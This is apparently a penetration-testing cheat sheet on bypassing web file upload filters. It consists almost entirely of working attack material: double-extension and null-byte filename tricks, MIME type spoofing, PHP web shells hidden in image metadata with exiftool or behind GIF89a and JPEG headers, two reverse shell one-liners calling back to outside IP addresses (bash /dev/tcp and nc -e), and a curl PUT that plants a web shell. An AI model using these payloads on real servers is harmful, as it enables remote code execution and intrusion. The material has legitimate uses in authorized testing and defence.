File Upload Bypass

File extension

Developers may blacklist specific file extensions and prevent users from uploading files with extensions that are considered dangerous. This can be bypassed by using alternate extensions or even unrelated ones. For example, it might be possible to upload and execute a .php file simply by renaming it file.php.jpg or file.PHp.

Example:

• file.php -> 'file.jpg', 'file.php.', 'file.php.jpg' or 'file.php;.jpg'

• file.asp -> 'file.asp;.jpg'

• shell.js -> 'shell.jpg'

• shell.php -> shell.phpA.pdf and use hexedit to replace 'A' to 'null byte(0x00)'

Alternate extensions

Type	Extension
php	phtml, .php, .php3, .php4, .php5, and .inc
asp	asp, .aspx
perl	.pl, .pm, .cgi, .lib
jsp	.jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion	.cfm, .cfml, .cfc, .dbm

MIME type

Blacklisting MIME types is also a method of file upload validation. It may be bypassed by intercepting the POST request on the way to the server and modifying the MIME type.

Normal php MIME type:

Content-type: application/x-php

Replace with:

Content-type: image/jpeg

PHP getimagesize()

For file uploads which validate image size using php getimagesize(), it may be possible to execute shellcode by inserting it into the Comment attribute of Image properties and saving it as file.jpg.php.

You can do this with gimp or exiftools:

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpg
#or
mv file.jpg file.jpg.php

I'm not sure why some tutorials have the php extension first while others have it second. Try both.

JPG to PNG Shell

<?php system($_GET['cmd']); ?>  //shell.php
exiftool "-comment<=shell.php" malicious.png
strings malicious.png | grep system

GIF89a; header

GIF89a is a GIF file header. If uploaded content is being scanned, sometimes the check can be fooled by putting this header item at the top of shellcode:

GIF89a;
<?php system($_GET['cmd']) ?>

GIF89a:
<?php system('bash -i >& /dev/tcp/10.10.14.5/1234 0>&1 ') ?>

JPEG - '\xff\xd8\xff\xdb'

echo -e '\xff\xd8\xff\xdb' > fake.php.jpg
vim fake.php.jpg
# Add the php script to the jpg file, such as 
# <?php system('nc 10.10.14.19 9090 -e /bin/bash'); ?> 

PUTing File on the Webhost via PUT verb

curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php